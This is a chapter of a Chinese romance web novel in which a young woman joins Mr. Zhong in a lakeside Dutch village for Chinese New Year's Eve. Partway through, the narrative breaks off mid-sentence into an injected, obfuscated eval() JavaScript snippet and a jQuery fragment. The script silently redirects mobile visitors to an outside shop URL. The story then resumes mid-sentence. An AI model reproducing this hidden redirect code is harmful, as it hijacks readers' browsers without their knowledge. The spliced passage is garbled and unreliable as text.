十四
机翼攀升进入平流层，钢筋水泥森林渐变的渺小。舷窗外聚拢起茫茫云海，东方明珠像一根银针，细伶伶地立在云浪里，闪了一下，便没了踪影。飞机一路向西北，越过长江、黄河，越过那些她在地理课本上背过的高山大川。
舱内只闻均匀的引擎低鸣，空姐的身影穿梭掠过，双语问候。旅客散落各处，或翻书，或小憩，各有人生，各赴远方。
世界很大，装得下所有人。
世界也很小，小到万里道途，终一人独行。
不梦靠着窗，耳机里响着白噪音，闭上眼，任由困意带着她出走。
她看到一个湿漉漉的世界，一条长长的桥，斑驳生锈的栏杆，桥下宽阔的河道，雨线淅淅沥沥模糊了视野。
一位女孩踩着石墩登上桥栏，背影单薄得像张纸，洗的发白的衣服湿淋淋贴在身上。
她心里猛地一紧，伸手想去拦，四肢却沉得像灌了铅，怎么也动不了。
眼睁睁看着那身影往前一倾，坠入水中。
“——！”
水流滚滚，带着浊黄的淤泥，迎面砸上来，将光明吞没。
她猛地一个踉跄，挣扎着睁开眼，胸口急促起伏。
窗外，是浓得化不开的黑夜，机舱里一片静谧。
只是一场梦。
她抬手按了按眉心。
梦里的人是谁，她看不清，也想不起。
抚着心口，长舒出一口气。
梦梦不梦，不梦。
坐在皮艇上，从运河行入古村水道，蜿蜒又蜿蜒，曲折又曲折。水上浮着薄冰，两旁树木密集，芦苇与木屋错落沿岸，仿佛滑进一幅安静到不敢出声的冬日油画里。
钟先生的别墅不在浪漫的林回水复间，而是坐落在村落深处一片开阔静谧的湖畔，视野疏朗，四周林木环绕，水流在此变得缓慢。
古改今的茅草顶大宅，浅坡芦苇顶覆着岁月的质感，白墙木构，搭配大片落地玻璃。
远远望去，像一大朵安静趴在湖边的蘑菇屋。
小艇泊入私码头，一位金发蓝眼的女佣候在岸边，上前接过她的行李。
花园里陈着几盆中国的寒松盆景，枝苍叶劲。
沿着温润的青石步道进入公区轮廓，光影淌过地面，顺着通透的廊檐延伸，最终落进深处的书房。
整面墙无遮无挡的大片玻璃窗，湖水、林木、天空，一并倒映在玻璃上，分不清哪里是界。
那人背身向她，上着深海蓝素绉缎立领衬衫，那面料的颜色，像是将天光一同揉进了时光里，染出静逸的旷远。
他静立于黑檀书桌前，执着毛笔，袖口挽到小臂，正聚神写着一副长卷。发丝清爽，鬓边似经年的墨痕沾了霜屑。
不梦喉间一紧，酸涩猛地翻涌上来。
她脚步虚浮的厉害，慢慢走近，心跳快得几乎要撞破胸膛。
落地窗映出两道身影，一前一后。
他听见脚步声，笔尖微顿，却没有回头。
她捂住嘴，眼中热流滚滚，顷刻湿透整张脸。
哭了一会儿，终于鼓足所有勇气，上前两步，双臂无声张开，揽住了那道清寂又温和的身影。
紧紧地依偎着，贴合着。
怀中腰身，比记忆里清减了几分，可那挺直的脊骨，仍与多年前她偷偷仰望的背影，严丝合缝地重叠。
她将脸颊深深埋进衣袍褶里，闭眼贪婪地嗅着他的气息。
墨香与沉香交织，还裹着一缕经年未改的、清冽的皂角清气。
“新年快乐。”
滚烫的，悄无声息浸湿了布帛。
他周身动作骤然僵住，滞涩许久，终是放下笔，缓缓回身，顺势将她拥入怀中。动作慢而柔，带着历经岁月沉淀的静笃。
原本只是想，远远地看一眼。没想到，他没有换号码。
“快十年了......”
温热的唇落在发顶，掌心轻轻抚着她的后脑：“苏儿，我的苏儿。”
***
东隅长夜，中国。
西陲斜光，荷兰，午后三点二十。
北京：北纬四十度上下，羊角村：北纬五十二度左右。
季节，冬。
一夜一日，相隔万里。
偏北国度的日光来得薄而浅，洇过落地玻璃窗，隔着两层珍珠色窗纱，淡淡铺在一室的雅洁之中。
屋内素木陈设，器物简净，水晶花瓶里浸着一束白茶花，淡香萦回不散。
每一处用心，都看得出是早早为一个人妥帖备好。
不梦在异国他乡的床上醒来，因在倒时差，睡至此刻。
被子薄薄的一层，枕、垫、被一体，皆是极轻的雁鸭绒，如云覆身，贴肤生暖，有暗香藏于衾间。她翻了个身，卧于异乡的天光里，竟不觉身是客，也不觉光阴涌动。
她又躺了一会儿才起来，穿着睡衣下楼。
女佣听见脚步声，用半英文、半荷兰语打招呼：“Goodmorning，juffrouw.Hebjegoedgeslapen？（早安，小姐。睡得好吗？）”
“Ja,danku.”（是的，谢谢。）
她目光掠过空落落的客厅，黑檀茶几上，搁着一杯饮至半盏的白菊清茶，洁白素瓷，水汽凝在杯壁。
沙发扶手上反扣着一页摊开的书，纸角沉在一方镇纸之下，静得无声。
问：“WhereisMr.Zhong?”
女佣应道：“Hijisvroegnaardestadgegaan,omversegroentenenfruitvoorutekiezen.（他一早去镇上了，为小姐挑选新鲜果蔬。）”
荷兰光照有限，本土果蔬单薄，水果贸易远不及中国繁盛。冬日鲜果稀缺，羊角村水路迂回，闭塞偏隅，寻常人家过冬，不过根茎、腌菜与寥寥储果。
女佣引她入饭厅，替她挪开椅子，落座。
桌上的餐食已备好，中西相合，清淡规整。
餐具是一整套青花瓷器，细腻温润，刀叉与筷箸齐齐整整摆在一旁。
她先掀开盅盖，是红豆紫米粥，温热绵糯，浮着久熬的清香。另一盅是椰汁木瓜炖雪蛤，旁侧搁着两片黑麦吐司，圆盘中一份清灼广式菜心，长盘里是一小块烤银鳕鱼，高足碗中卧着一小盅辽参蒸蛋。两只花型小碟，一碟是雪白的酸奶浇嫩豆腐，一碟码着切得匀净的鲜果浆果。
另有一小碟她自己都忘了何时提过的，家乡的腌渍嫩姜，切得细如发丝，琥珀般透亮。
鲜活、干净，溯源清楚，克制妥帖。
不疾不徐地用完一餐，起身走出饭厅。日已西坠，抬眼间，才觉这栋临水的荷兰别墅，一夕之间，已然不同。
今日，是北京时间的除夕。
异乡冬寒未散，水路崎岖，周遭依旧是西北欧清冷的光景，可这一方院落里，已经悄悄拢起一抹中式年意。
廊下悬起了一串红灯笼，簇新圆润，垂穗顺着风轻轻晃。
门边贴了一副红纸春联，墨色端正，字体遒劲，隔着山海，漫出故国的回响。
素白的欧式墙，素木的屋舍，忽然被一点红，衬得突兀。
却是只有国人才看得懂的温馨。
在万里之外，在昼短夜长、人烟疏落的他国，有人为她，悄悄摆好了一个年。
不梦立在原地，目光久久落在那俗气却飘逸福字上。
那字，比常见的瘦金多了三分沉骨，偏锋敛去一分锐利，运笔添一分韧度，落笔之间，又融进几分颜体的敦厚筋骨。
两种风格迥异的笔法糅合，极难！
是经年伏案
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600981|205448||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，朝夕沉淀，才慢慢磨出来的独一笔。
许多年前，她曾在他书房，指着字帖随口说：“这皇帝的字，好看是好看，就是太锋利了，像冰棱子，福气要是长这样，可得冻手。飘逸是飘逸，可惜少了含蓄美。”
彼时，他只是笑笑，未语。
原来，那句孩子气的挑剔被他听了进去，把那股“锋利”磨成了如今这副柔中带韧的模样。
回房略冲了个澡，头发吹得半干，松松散在肩后，拢了一方毛线披肩裹在身上，慢慢走了出去。
羊角村的傍晚来得早。
荷兰的冬日，太阳本就吝啬。此刻已沉到芦苇梢头，只剩一抹薄橘，贴着天际线，是谁用蜡笔淡淡扫了一层，便不肯再多给。
空气是冷的，但不刺骨。是那种干净的、带着水汽的冷，吸进肺里，像含了一口融了冰的泉水。
沿着河岸走，两岸草木敛了生机，色淡、清简，她走进了一幅落笔随意的油画里。河道蜿蜒向前，水面结了冰，但冰层不匀，靠近岸边的地方冻得瓷实，泛着灰白，河心处却还露着幽暗绿波，像一层将破未破的玻璃纸。
几个外国孩子在上面滑冰，冰刀鞋从厚冰处起步，闪电般穿过河道，脚下传来细碎的“咔咔”声，速度太猛，掠过薄冰层，水来不及反应。
孩子们颤颤巍巍，反复来去，似乎很享受这样的危险。
野鸭群在草窝里啄食，一个黄头发的女人推着自行车走来，车筐里装满了纸袋，鼓鼓囊囊的，露出几根胡萝卜的绿缨子。车后架上绑着一个藤篮，里面搁着一条长棍面包，身后跟着宠物狗，一路上了小桥。
转过桥，一艘黑色皮艇顺着水道驶来。
艇上坐着钟先生。
他今日着一身裁剪利落的浅色系休闲西装，鼻梁上一副细金边方圆眼镜。坐在艇上，发梢被河风吹起。
不梦的记忆中，他好像天生不惧冷。即使酷寒严冬，室外下着大雪，也是穿得整齐利落的西装，内衬薄薄的羊绒衬衣。衣服上永远干净的不见一个褶。
艇尾，两名随从各提一篮果蔬，鲜果饱满，青蔬鲜亮。
看到她，皮艇随岸而停。
一人临水而立，一人缓缓上岸。
风吹草丛，长发四散。不梦嘟着嘴，娇嗔道：“挑的可是中国运来的？不是中国的，我可不吃啊。”
钟先生上岸站定，笑道：“难伺候的小公主。”
入夜，转播台里播放着春晚，隔着万里重洋，画面延迟数小时。想必那边正是鞭炮烟火沸腾、人声喧嚣的世界。
此地却是漫天清寂。
她的绅士变成了厨师。
廊下的灯笼全亮了，暖光漫铺在院中，化开夜色里的冷。钟先生只着贴身衬衫，守着支在院里的炉子，握铲慢煎牛排。
一墙之内的玻璃里，长条餐桌上已摆满了菜式，荤素分列，多为中式菜，只不过摆盘是西式的样子。
中央一盏细烛燃着，火光轻轻跳。桌边立着一具木质红酒托，一瓶红酒斜斜卧着，映着烛火。两只高脚杯并排搁着，透亮，清明。
不梦捧着一束百合，走到桌前。
她取过水晶瓶，盛了半瓶清水，顺着花型，一支一支慢慢装点。
花香很浅，一席冷调的餐桌，忽然多了一抹恰到好处的点缀。
做好这些，坐在桌旁，托腮，望着落地玻璃外的背影。
不多时，牛排上桌，厨师摘下围裙，做了个绅士的动作：“请小公主品鉴。”
不梦笑着品评：“色香俱全，但是味道呢，我要先保留，吃完再评。”
她今夜换了晚礼服。
一身浆果玫瑰斜肩长裙，斜裁的领口摊开，顺着骨线，完整托起雪白的肩颈，像一笔舒展的弧。锁骨凹陷，勾勒出玲珑有致的意蕴，腰身微收，拢出一截窈窕，鱼尾裙摆长长拖地。